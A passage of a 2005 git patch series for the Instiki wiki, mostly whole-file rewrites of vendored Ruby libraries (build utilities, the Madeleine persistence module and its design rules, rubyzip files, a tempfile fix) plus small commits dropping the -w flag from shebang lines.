there is no main + ### file to be found. + def findRdocMain( catalogFile="docs/CATALOG", default="README" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Main: Foo Bar Module + main = findCatalogKeyword( 'main', catalogFile ) + + # Try to make some educated guesses if that doesn't work + if main.nil? + basedir = File::dirname( __FILE__ ) + basedir = File::dirname( basedir ) if /docs$/ =~ basedir + + if File::exists?( File::join(basedir, default) ) + main = default + end + end + + return main + end + + + ### Given a documentation catalogFile, extract an upload URL for + ### RDoc. + def findRdocUpload( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'upload', catalogFile ) + end + + + ### Given a documentation catalogFile, extract a CVS web frontend + ### URL for RDoc. + def findRdocCvsURL( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'webcvs', catalogFile ) + end + + + ### Given a documentation catalogFile, try extracting the given + ### +keyword+'s value from it. Keywords are lines that look like: + ### # : + ### Returns +nil+ if the catalog file was unreadable or didn't contain the + ### specified +keyword+. + def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) + val = nil + + if File::exists? catalogFile + message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile + File::foreach( catalogFile ) {|line| + debugMsg( "Examining line #{line.inspect}..." ) + val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line + } + end + + return val + end + + + ### Given a documentation catalogFile, which is in the same format + ### as that described by #readManifest, read and expand it, and then return + ### a list of those files which appear to have RDoc documentation in + ### them. If catalogFile is nil or does not exist, the MANIFEST + ### file is used instead. + def findRdocableFiles( catalogFile="docs/CATALOG" ) + startlist = [] + if File.exists? catalogFile + message "Using CATALOG file (%s).\n" % catalogFile + startlist = getVettedManifest( catalogFile ) + else + message "Using default MANIFEST\n" + startlist = getVettedManifest() + end + + message "Looking for RDoc comments in:\n" if $VERBOSE + startlist.select {|fn| + message " #{fn}: " if $VERBOSE + found = false + File::open( fn, "r" ) {|fh| + fh.each {|line| + if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} + found = true + break + end + } + } + + message( (found ? "yes" : "no") + "\n" ) if $VERBOSE + found + } + end + + ### Open a file and filter each of its lines through the given block a + ### line at a time. The return value of the block is used as the + ### new line, or omitted if the block returns nil or + ### false. + def editInPlace( file ) # :yields: line + raise "No block specified for editing operation" unless block_given? + + tempName = "#{file}.#{$$}" + File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| + File::unlink( tempName ) + File::open( file, File::RDONLY ) {|fh| + fh.each {|line| + newline = yield( line ) or next + tempfile.print( newline ) + } + } + + tempfile.seek(0) + + File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| + newfile.print( tempfile.read ) + } + } + end + + ### Execute the specified shell command, read the results, and + ### return them. Like a %x{} that returns an Array instead of a String. + def shellCommand( *command ) + raise "Empty command" if command.empty? + + cmdpipe = IO::popen( command.join(' '), 'r' ) + return cmdpipe.readlines + end + + ### Execute a block with $VERBOSE set to +false+, restoring it to its + ### previous value before returning. + def verboseOff + raise LocalJumpError, "No block given" unless block_given? + + thrcrit = Thread.critical + oldverbose = $VERBOSE + begin + Thread.critical = true + $VERBOSE = false + yield + ensure + $VERBOSE = oldverbose + Thread.critical = false + end + end + + + ### Try the specified code block, printing the given + def try( msg, bind=nil ) + result = nil + if msg =~ /^to\s/ + message = "Trying #{msg}..." + else + message = msg + end + + begin + rval = nil + if block_given? + rval = yield + else + file, line = caller(1)[0].split(/:/,2) + rval = eval( msg, bind, file, line.to_i ) + end + + result = rval.inspect + rescue Exception => err + if err.backtrace + nicetrace = err.backtrace.delete_if {|frame| + /in `(try|eval)'/ =~ frame + }.join("\n\t") + else + nicetrace = "Exception had no backtrace" + end + + result = err.message + "\n\t" + nicetrace + ensure + puts result + end + end + + def time + start = Time::now + stimes = Process::times + rval = yield + etimes = Process::times + $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ + etimes.utime - stimes.utime, + etimes.stime - stimes.stime, + Time::now.to_f - start.to_f, + ] + + return rval + end + +end diff --git a/vendor/madeleine-0.7.1/docs/designRules.html b/vendor/madeleine-0.7.1/docs/designRules.html index 6361007f..c6db4546 100755 --- a/vendor/madeleine-0.7.1/docs/designRules.html +++ b/vendor/madeleine-0.7.1/docs/designRules.html @@ -1,87 +1,87 @@ - - - -Design rules - Madeleine - - - - - -

        Design rules

        - -

        This is a summary of the design rules your application has to -follow to work with Madeleine. - - -

        The Prevalent System

        - -

        Your objects have to fit into memory

        - -

        All of them. At the same time. - -

        Your objects have to be marshallable

        - -

        Snapshots are taken of the system by marshalling the whole system to a -file. If your classes can't be marshalled/unmarshalled then Madeleine -won't be able to store/restore the system. - -

        Your objects have to be deterministic

        - -

        Deterministic means that, given the same commands, they have -to always give the same results. - -

        For the much of your code this won't -be a problem, but there are a few common issues: - -

        The system clock

        -

        You can't use the system clock (see instead ClockedSystem and TimeActor). - -

        Random numbers

        -

        Kernel.rand() uses the system clock internally by -default. Use Kernel.srand() to seed the random number -generator before using rand(). - -

        Files, network and other IO

        -

        You generally can't access the outside world from within your -prevalent system. Instead do IO outside of the prevalent system and -call into the system when needed. - -

        Changes to the system have to be done through command -objects

        - -

        Everything that modifies the prevalent system must be done through a -command object sent to the Madeleine instance, using -execute_command(aCommand). Queries that don't modify the -system can be done either through direct method calls or through -command objects. - -

        Command Objects

        - -

        A command object is an object that implements the method -execute(system). They are an example of the "Command" -design pattern. - -

        The command objects also have to be marshallable

        - -

        Madeleine keeps track of changes between snapshots by logging -marshalled commands. - -

        The command must raise errors before modifying the system

        - -

        Unlike a RDBMS, Madeleine can't roll back a command (yet). This means -that your commands will have to do their error checking and raise any -errors before modifying the system. Failing to do this will cause an -inconsistent command log. - -

        Command objects can't hold references to the system's objects

        - -

        Unmarshalling such a command would create clones of the original -objects, which would then be modified instead of the real -objects. The commands must find the objects to modify. - -


        - -$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $ - - - + + + +Design rules - Madeleine + + + + + +

        Design rules

        + +

        This is a summary of the design rules your application has to +follow to work with Madeleine. + + +

        The Prevalent System

        + +

        Your objects have to fit into memory

        + +

        All of them. At the same time. + +

        Your objects have to be marshallable

        + +

        Snapshots are taken of the system by marshalling the whole system to a +file. If your classes can't be marshalled/unmarshalled then Madeleine +won't be able to store/restore the system. + +

        Your objects have to be deterministic

        + +

        Deterministic means that, given the same commands, they have +to always give the same results. + +

        For the much of your code this won't +be a problem, but there are a few common issues: + +

        The system clock

        +

        You can't use the system clock (see instead ClockedSystem and TimeActor). + +

        Random numbers

        +

        Kernel.rand() uses the system clock internally by +default. Use Kernel.srand() to seed the random number +generator before using rand(). + +

        Files, network and other IO

        +

        You generally can't access the outside world from within your +prevalent system. Instead do IO outside of the prevalent system and +call into the system when needed. + +

        Changes to the system have to be done through command +objects

        + +

        Everything that modifies the prevalent system must be done through a +command object sent to the Madeleine instance, using +execute_command(aCommand). Queries that don't modify the +system can be done either through direct method calls or through +command objects. + +

        Command Objects

        + +

        A command object is an object that implements the method +execute(system). They are an example of the "Command" +design pattern. + +

        The command objects also have to be marshallable

        + +

        Madeleine keeps track of changes between snapshots by logging +marshalled commands. + +

        The command must raise errors before modifying the system

        + +

        Unlike a RDBMS, Madeleine can't roll back a command (yet). This means +that your commands will have to do their error checking and raise any +errors before modifying the system. Failing to do this will cause an +inconsistent command log. + +

        Command objects can't hold references to the system's objects

        + +

        Unmarshalling such a command would create clones of the original +objects, which would then be modified instead of the real +objects. The commands must find the objects to modify. + +


        + +$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $ + + + diff --git a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb index 9c057a87..447d5ec3 100755 --- a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb +++ b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb @@ -1,418 +1,418 @@ -require 'yaml' -require 'madeleine/zmarshal' -require 'soap/marshal' - -module Madeleine - -# Automatic commands for Madeleine -# -# Author:: Stephen Sykes -# Copyright:: Copyright (C) 2003-2004 -# Version:: 0.41 -# -# This module provides a way of automatically generating command objects for madeleine to -# store. It works by making a proxy object for all objects of any classes in which it is included. -# Method calls to these objects are intercepted, and stored as a command before being -# passed on to the real receiver. The command objects remember which object the command was -# destined for by using a pair of internal ids that are contained in each of the proxy objects. -# -# There is also a mechanism for specifying which methods not to intercept calls to by using -# automatic_read_only, and its opposite automatic_read_write. -# -# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass -# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new. -# If the passed marshaller did not successfully deserialize the latest snapshot, the system -# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding -# compressed versions. -# -# This module is designed to work correctly in the case there are multiple madeleine systems in use by -# a single program, and is also safe to use with threads. -# -# Usage: -# -# require 'madeleine' -# require 'madeleine/automatic' -# -# class A -# include Madeleine::Automatic::Interceptor -# attr_reader :foo -# automatic_read_only :foo -# def initialize(param1, ...) -# ... -# end -# def some_method(paramA, ...) -# ... -# end -# automatic_read_only -# def bigfoo -# foo.upcase -# end -# end -# -# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } -# -# mad.system.some_method(paramA, ...) # logged as a command by madeleine -# print mad.foo # not logged -# print mad.bigfoo # not logged -# mad.take_snapshot -# - - module Automatic -# -# This module should be included (at the top) in any classes that are to be persisted. -# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine. -# It does this by returning a Prox object that is a proxy for the real object. -# -# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods -# should be made into commands -# - module Interceptor -# -# When included, redefine new so that we can return a Prox object instead, and define methods to handle -# keeping track of which methods are read only -# - def self.included(klass) - class < "") - x - end - - end - -# -# The AutomaticSnapshotMadeleine class contains an instance of the persister -# (default is SnapshotMadeleine) and provides additional automatic functionality. -# -# The class is instantiated the same way as SnapshotMadeleine: -# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } -# The second initialisation parameter is the persister. Supported persisters are: -# -# * Marshal (default) -# * YAML -# * SOAP::Marshal -# * Madeleine::ZMarshal.new(Marshal) -# * Madeleine::ZMarshal.new(YAML) -# * Madeleine::ZMarshal.new(SOAP::Marshal) -# -# The class keeps a record of all the systems that currently exist. -# Each instance of the class keeps a record of Prox objects in that system by internal id (myid). -# -# We also add functionality to take_snapshot in order to set things up so that the custom Prox object -# marshalling will work correctly. -# - class AutomaticSnapshotMadeleine - attr_accessor :marshaller - attr_reader :list, :sysid - - def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block) - @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid - @myid_count = 0 - @list = {} - Thread.current[:system] = self # during system startup system should not create commands - Thread.critical = true - @@systems ||= {} # holds systems by sysid - @@systems[@sysid] = self - Thread.critical = false - @marshaller = marshaller # until attrb - begin - @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block) - @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid - begin - ObjectSpace._id2ref(v).sysid = @sysid - false - rescue RangeError - true # Id was to a GC'd object, delete it - end - } - ensure - Thread.current[:system] = false - end - end -# -# Add a proxy object to the list, return the myid for that object -# - def add(proxo) - @list[@myid_count += 1] = proxo.object_id - @myid_count - end -# -# Restore a marshalled proxy object to list - myid_count is increased as required. -# If the object already exists in the system then the existing object must be used. -# - def restore(proxo) - if (@list[proxo.myid]) - proxo = myid2ref(proxo.myid) - else - @list[proxo.myid] = proxo.object_id - @myid_count = proxo.myid if (@myid_count < proxo.myid) - end - proxo - end -# -# Returns a reference to the object indicated by the internal id supplied. -# - def myid2ref(myid) - raise "Internal id #{myid} not found" unless objid = @list[myid] - ObjectSpace._id2ref(objid) - end -# -# Take a snapshot of the system. -# - def take_snapshot - begin - Thread.current[:system] = self - Thread.current[:snapshot_memory] = {} - @persister.take_snapshot - ensure - Thread.current[:snapshot_memory] = nil - Thread.current[:system] = false - end - end -# -# Returns the hash containing the systems. -# - def AutomaticSnapshotMadeleine.systems - @@systems - end -# -# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new -# system before GC gets them -# - def close - begin - @list.each_key {|k| myid2ref(k).sysid = nil} - rescue RangeError - # do nothing - end - @persister.close - end - -# -# Pass on any other calls to the persister -# - def method_missing(symbol, *args, &block) - @persister.send(symbol, *args, &block) - end - end - - - module Deserialize #:nodoc: -# -# Detect format of an io stream. Leave it rewound. -# - def Deserialize.detect(io) - c = io.getc - c1 = io.getc - io.rewind - if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION) - Marshal - elsif (c == 31 && c1 == 139) # gzip magic numbers - ZMarshal - else - while (s = io.gets) - break if (s !~ /^\s*$/) # ignore blank lines - end - io.rewind - if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e - io.rewind - detected_marshaller = detect(io) - if (detected_marshaller == ZMarshal) - zio = Zlib::GzipReader.new(io) - detected_zmarshaller = detect(zio) - zio.finish - io.rewind - if (detected_zmarshaller) - ZMarshal.new(detected_zmarshaller).load(io) - else - raise e - end - elsif (detected_marshaller) - detected_marshaller.load(io) - else - raise e - end - end - end - end - - end -end - -AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine +require 'yaml' +require 'madeleine/zmarshal' +require 'soap/marshal' + +module Madeleine + +# Automatic commands for Madeleine +# +# Author:: Stephen Sykes +# Copyright:: Copyright (C) 2003-2004 +# Version:: 0.41 +# +# This module provides a way of automatically generating command objects for madeleine to +# store. It works by making a proxy object for all objects of any classes in which it is included. +# Method calls to these objects are intercepted, and stored as a command before being +# passed on to the real receiver. The command objects remember which object the command was +# destined for by using a pair of internal ids that are contained in each of the proxy objects. +# +# There is also a mechanism for specifying which methods not to intercept calls to by using +# automatic_read_only, and its opposite automatic_read_write. +# +# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass +# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new. +# If the passed marshaller did not successfully deserialize the latest snapshot, the system +# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding +# compressed versions. +# +# This module is designed to work correctly in the case there are multiple madeleine systems in use by +# a single program, and is also safe to use with threads. +# +# Usage: +# +# require 'madeleine' +# require 'madeleine/automatic' +# +# class A +# include Madeleine::Automatic::Interceptor +# attr_reader :foo +# automatic_read_only :foo +# def initialize(param1, ...) +# ... +# end +# def some_method(paramA, ...) +# ... +# end +# automatic_read_only +# def bigfoo +# foo.upcase +# end +# end +# +# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# +# mad.system.some_method(paramA, ...) # logged as a command by madeleine +# print mad.foo # not logged +# print mad.bigfoo # not logged +# mad.take_snapshot +# + + module Automatic +# +# This module should be included (at the top) in any classes that are to be persisted. +# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine. +# It does this by returning a Prox object that is a proxy for the real object. +# +# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods +# should be made into commands +# + module Interceptor +# +# When included, redefine new so that we can return a Prox object instead, and define methods to handle +# keeping track of which methods are read only +# + def self.included(klass) + class < "") + x + end + + end + +# +# The AutomaticSnapshotMadeleine class contains an instance of the persister +# (default is SnapshotMadeleine) and provides additional automatic functionality. +# +# The class is instantiated the same way as SnapshotMadeleine: +# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# The second initialisation parameter is the persister. Supported persisters are: +# +# * Marshal (default) +# * YAML +# * SOAP::Marshal +# * Madeleine::ZMarshal.new(Marshal) +# * Madeleine::ZMarshal.new(YAML) +# * Madeleine::ZMarshal.new(SOAP::Marshal) +# +# The class keeps a record of all the systems that currently exist. +# Each instance of the class keeps a record of Prox objects in that system by internal id (myid). +# +# We also add functionality to take_snapshot in order to set things up so that the custom Prox object +# marshalling will work correctly. +# + class AutomaticSnapshotMadeleine + attr_accessor :marshaller + attr_reader :list, :sysid + + def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block) + @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid + @myid_count = 0 + @list = {} + Thread.current[:system] = self # during system startup system should not create commands + Thread.critical = true + @@systems ||= {} # holds systems by sysid + @@systems[@sysid] = self + Thread.critical = false + @marshaller = marshaller # until attrb + begin + @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block) + @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid + begin + ObjectSpace._id2ref(v).sysid = @sysid + false + rescue RangeError + true # Id was to a GC'd object, delete it + end + } + ensure + Thread.current[:system] = false + end + end +# +# Add a proxy object to the list, return the myid for that object +# + def add(proxo) + @list[@myid_count += 1] = proxo.object_id + @myid_count + end +# +# Restore a marshalled proxy object to list - myid_count is increased as required. +# If the object already exists in the system then the existing object must be used. +# + def restore(proxo) + if (@list[proxo.myid]) + proxo = myid2ref(proxo.myid) + else + @list[proxo.myid] = proxo.object_id + @myid_count = proxo.myid if (@myid_count < proxo.myid) + end + proxo + end +# +# Returns a reference to the object indicated by the internal id supplied. +# + def myid2ref(myid) + raise "Internal id #{myid} not found" unless objid = @list[myid] + ObjectSpace._id2ref(objid) + end +# +# Take a snapshot of the system. +# + def take_snapshot + begin + Thread.current[:system] = self + Thread.current[:snapshot_memory] = {} + @persister.take_snapshot + ensure + Thread.current[:snapshot_memory] = nil + Thread.current[:system] = false + end + end +# +# Returns the hash containing the systems. +# + def AutomaticSnapshotMadeleine.systems + @@systems + end +# +# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new +# system before GC gets them +# + def close + begin + @list.each_key {|k| myid2ref(k).sysid = nil} + rescue RangeError + # do nothing + end + @persister.close + end + +# +# Pass on any other calls to the persister +# + def method_missing(symbol, *args, &block) + @persister.send(symbol, *args, &block) + end + end + + + module Deserialize #:nodoc: +# +# Detect format of an io stream. Leave it rewound. +# + def Deserialize.detect(io) + c = io.getc + c1 = io.getc + io.rewind + if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION) + Marshal + elsif (c == 31 && c1 == 139) # gzip magic numbers + ZMarshal + else + while (s = io.gets) + break if (s !~ /^\s*$/) # ignore blank lines + end + io.rewind + if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e + io.rewind + detected_marshaller = detect(io) + if (detected_marshaller == ZMarshal) + zio = Zlib::GzipReader.new(io) + detected_zmarshaller = detect(zio) + zio.finish + io.rewind + if (detected_zmarshaller) + ZMarshal.new(detected_zmarshaller).load(io) + else + raise e + end + elsif (detected_marshaller) + detected_marshaller.load(io) + else + raise e + end + end + end + end + + end +end + +AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine diff --git a/vendor/rubyzip-0.5.6/rubyzip.gemspec b/vendor/rubyzip-0.5.6/rubyzip.gemspec index 951569b8..70c9d81e 100755 --- a/vendor/rubyzip-0.5.6/rubyzip.gemspec +++ b/vendor/rubyzip-0.5.6/rubyzip.gemspec @@ -1,20 +1,20 @@ -$:.unshift '../lib' -require 'rubygems' - -spec = Gem::Specification.new do |s| - s.name = 'rubyzip' - s.version = "0.5.5" - s.author = "Thomas Sondergaard" - s.email = "thomas(at)thomassondergaard.com" - s.homepage = "http://rubyzip.sourceforge.net/" - s.platform = Gem::Platform::RUBY - s.summary = "rubyzip is a ruby module for reading and writing zip files" - s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")} - s.require_path = '.' - s.autorequire = 'zip/zip' -end - -if $0==__FILE__ - Gem::Builder.new(spec).build -end - +$:.unshift '../lib' +require 'rubygems' + +spec = Gem::Specification.new do |s| + s.name = 'rubyzip' + s.version = "0.5.5" + s.author = "Thomas Sondergaard" + s.email = "thomas(at)thomassondergaard.com" + s.homepage = "http://rubyzip.sourceforge.net/" + s.platform = Gem::Platform::RUBY + s.summary = "rubyzip is a ruby module for reading and writing zip files" + s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")} + s.require_path = '.' + s.autorequire = 'zip/zip' +end + +if $0==__FILE__ + Gem::Builder.new(spec).build +end + diff --git a/vendor/rubyzip-0.5.6/samples/write_simple.rb b/vendor/rubyzip-0.5.6/samples/write_simple.rb index d0c30a43..47b72adb 100755 --- a/vendor/rubyzip-0.5.6/samples/write_simple.rb +++ b/vendor/rubyzip-0.5.6/samples/write_simple.rb @@ -1,13 +1,13 @@ -#!/usr/bin/env ruby - -$: << ".." - -require 'zip/zip' - -include Zip - -ZipOutputStream.open('simple.zip') { - |zos| - ze = zos.put_next_entry 'entry.txt' - zos.puts "Hello world" +#!/usr/bin/env ruby + +$: << ".." + +require 'zip/zip' + +include Zip + +ZipOutputStream.open('simple.zip') { + |zos| + ze = zos.put_next_entry 'entry.txt' + zos.puts "Hello world" } \ No newline at end of file diff --git a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb index 11a7a84a..ae82508f 100755 --- a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb +++ b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb @@ -1,195 +1,195 @@ -# -# tempfile - manipulates temporary files -# -# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $ -# - -require 'delegate' -require 'tmpdir' - -module BugFix - -# A class for managing temporary files. This library is written to be -# thread safe. -class Tempfile < DelegateClass(File) - MAX_TRY = 10 - @@cleanlist = [] - - # Creates a temporary file of mode 0600 in the temporary directory - # whose name is basename.pid.n and opens with mode "w+". A Tempfile - # object works just like a File object. - # - # If tmpdir is omitted, the temporary directory is determined by - # Dir::tmpdir provided by 'tmpdir.rb'. - # When $SAFE > 0 and the given tmpdir is tainted, it uses - # /tmp. (Note that ENV values are tainted by default) - def initialize(basename, tmpdir=Dir::tmpdir) - if $SAFE > 0 and tmpdir.tainted? - tmpdir = '/tmp' - end - - lock = nil - n = failure = 0 - - begin - Thread.critical = true - - begin - tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) - lock = tmpname + '.lock' - n += 1 - end while @@cleanlist.include?(tmpname) or - File.exist?(lock) or File.exist?(tmpname) - - Dir.mkdir(lock) - rescue - failure += 1 - retry if failure < MAX_TRY - raise "cannot generate tempfile `%s'" % tmpname - ensure - Thread.critical = false - end - - @data = [tmpname] - @clean_proc = Tempfile.callback(@data) - ObjectSpace.define_finalizer(self, @clean_proc) - - @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) - @tmpname = tmpname - @@cleanlist << @tmpname - @data[1] = @tmpfile - @data[2] = @@cleanlist - - super(@tmpfile) - - # Now we have all the File/IO methods defined, you must not - # carelessly put bare puts(), etc. after this. - - Dir.rmdir(lock) - end - - # Opens or reopens the file with mode "r+". - def open - @tmpfile.close if @tmpfile - @tmpfile = File.open(@tmpname, 'r+') - @data[1] = @tmpfile - __setobj__(@tmpfile) - end - - def _close # :nodoc: - @tmpfile.close if @tmpfile - @data[1] = @tmpfile = nil - end - protected :_close - - # Closes the file. If the optional flag is true, unlinks the file - # after closing. - # - # If you don't explicitly unlink the temporary file, the removal - # will be delayed until the object is finalized. - def close(unlink_now=false) - if unlink_now - close! - else - _close - end - end - - # Closes and unlinks the file. - def close! - _close - @clean_proc.call - ObjectSpace.undefine_finalizer(self) - end - - # Unlinks the file. On UNIX-like systems, it is often a good idea - # to unlink a temporary file immediately after creating and opening - # it, because it leaves other programs zero chance to access the - # file. - def unlink - # keep this order for thread safeness - File.unlink(@tmpname) if File.exist?(@tmpname) - @@cleanlist.delete(@tmpname) if @@cleanlist - end - alias delete unlink - - if RUBY_VERSION > '1.8.0' - def __setobj__(obj) - @_dc_obj = obj - end - else - def __setobj__(obj) - @obj = obj - end - end - - # Returns the full path name of the temporary file. - def path - @tmpname - end - - # Returns the size of the temporary file. As a side effect, the IO - # buffer is flushed before determining the size. - def size - if @tmpfile - @tmpfile.flush - @tmpfile.stat.size - else - 0 - end - end - alias length size - - class << self - def callback(data) # :nodoc: - pid = $$ - lambda{ - if pid == $$ - path, tmpfile, cleanlist = *data - - print "removing ", path, "..." if $DEBUG - - tmpfile.close if tmpfile - - # keep this order for thread safeness - File.unlink(path) if File.exist?(path) - cleanlist.delete(path) if cleanlist - - print "done\n" if $DEBUG - end - } - end - - # If no block is given, this is a synonym for new(). - # - # If a block is given, it will be passed tempfile as an argument, - # and the tempfile will automatically be closed when the block - # terminates. In this case, open() returns nil. - def open(*args) - tempfile = new(*args) - - if block_given? - begin - yield(tempfile) - ensure - tempfile.close - end - - nil - else - tempfile - end - end - end -end - -end # module BugFix -if __FILE__ == $0 -# $DEBUG = true - f = Tempfile.new("foo") - f.print("foo\n") - f.close - f.open - p f.gets # => "foo\n" - f.close! -end +# +# tempfile - manipulates temporary files +# +# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $ +# + +require 'delegate' +require 'tmpdir' + +module BugFix + +# A class for managing temporary files. This library is written to be +# thread safe. +class Tempfile < DelegateClass(File) + MAX_TRY = 10 + @@cleanlist = [] + + # Creates a temporary file of mode 0600 in the temporary directory + # whose name is basename.pid.n and opens with mode "w+". A Tempfile + # object works just like a File object. + # + # If tmpdir is omitted, the temporary directory is determined by + # Dir::tmpdir provided by 'tmpdir.rb'. + # When $SAFE > 0 and the given tmpdir is tainted, it uses + # /tmp. (Note that ENV values are tainted by default) + def initialize(basename, tmpdir=Dir::tmpdir) + if $SAFE > 0 and tmpdir.tainted? + tmpdir = '/tmp' + end + + lock = nil + n = failure = 0 + + begin + Thread.critical = true + + begin + tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) + lock = tmpname + '.lock' + n += 1 + end while @@cleanlist.include?(tmpname) or + File.exist?(lock) or File.exist?(tmpname) + + Dir.mkdir(lock) + rescue + failure += 1 + retry if failure < MAX_TRY + raise "cannot generate tempfile `%s'" % tmpname + ensure + Thread.critical = false + end + + @data = [tmpname] + @clean_proc = Tempfile.callback(@data) + ObjectSpace.define_finalizer(self, @clean_proc) + + @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) + @tmpname = tmpname + @@cleanlist << @tmpname + @data[1] = @tmpfile + @data[2] = @@cleanlist + + super(@tmpfile) + + # Now we have all the File/IO methods defined, you must not + # carelessly put bare puts(), etc. after this. + + Dir.rmdir(lock) + end + + # Opens or reopens the file with mode "r+". + def open + @tmpfile.close if @tmpfile + @tmpfile = File.open(@tmpname, 'r+') + @data[1] = @tmpfile + __setobj__(@tmpfile) + end + + def _close # :nodoc: + @tmpfile.close if @tmpfile + @data[1] = @tmpfile = nil + end + protected :_close + + # Closes the file. If the optional flag is true, unlinks the file + # after closing. + # + # If you don't explicitly unlink the temporary file, the removal + # will be delayed until the object is finalized. + def close(unlink_now=false) + if unlink_now + close! + else + _close + end + end + + # Closes and unlinks the file. + def close! + _close + @clean_proc.call + ObjectSpace.undefine_finalizer(self) + end + + # Unlinks the file. On UNIX-like systems, it is often a good idea + # to unlink a temporary file immediately after creating and opening + # it, because it leaves other programs zero chance to access the + # file. + def unlink + # keep this order for thread safeness + File.unlink(@tmpname) if File.exist?(@tmpname) + @@cleanlist.delete(@tmpname) if @@cleanlist + end + alias delete unlink + + if RUBY_VERSION > '1.8.0' + def __setobj__(obj) + @_dc_obj = obj + end + else + def __setobj__(obj) + @obj = obj + end + end + + # Returns the full path name of the temporary file. + def path + @tmpname + end + + # Returns the size of the temporary file. As a side effect, the IO + # buffer is flushed before determining the size. + def size + if @tmpfile + @tmpfile.flush + @tmpfile.stat.size + else + 0 + end + end + alias length size + + class << self + def callback(data) # :nodoc: + pid = $$ + lambda{ + if pid == $$ + path, tmpfile, cleanlist = *data + + print "removing ", path, "..." if $DEBUG + + tmpfile.close if tmpfile + + # keep this order for thread safeness + File.unlink(path) if File.exist?(path) + cleanlist.delete(path) if cleanlist + + print "done\n" if $DEBUG + end + } + end + + # If no block is given, this is a synonym for new(). + # + # If a block is given, it will be passed tempfile as an argument, + # and the tempfile will automatically be closed when the block + # terminates. In this case, open() returns nil. + def open(*args) + tempfile = new(*args) + + if block_given? + begin + yield(tempfile) + ensure + tempfile.close + end + + nil + else + tempfile + end + end + end +end + +end # module BugFix +if __FILE__ == $0 +# $DEBUG = true + f = Tempfile.new("foo") + f.print("foo\n") + f.close + f.open + p f.gets # => "foo\n" + f.close! +end From 9e84693cb222d48cdd6ab34e2b2a146b8aae5274 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 25 Jan 2005 21:25:22 +0000 Subject: [PATCH 117/529] dropped -w flag from shebangs of ./instiki and ./instiki.rb. There are many warnings coming from Rails, and spoiling the end-user experience. --- instiki | 2 +- instiki.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/instiki b/instiki index c004932c..0d054884 100755 --- a/instiki +++ b/instiki @@ -1,4 +1,4 @@ -#!/usr/bin/ruby -w +#!/usr/bin/ruby # Executable file for a gem # must be same as ./instiki.rb diff --git a/instiki.rb b/instiki.rb index 55960d02..522e84d2 100755 --- a/instiki.rb +++ b/instiki.rb @@ -1,3 +1,3 @@ -#!/usr/bin/ruby -w +#!/usr/bin/ruby load File.dirname(__FILE__) + "/script/server" From 9f90f083d72600c5dcf8b528edaef853eb514e2e Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 25 Jan 2005 22:06:34 +0000 Subject: [PATCH 118/529] Moved some things from scripts/server to config/environment.rb --- 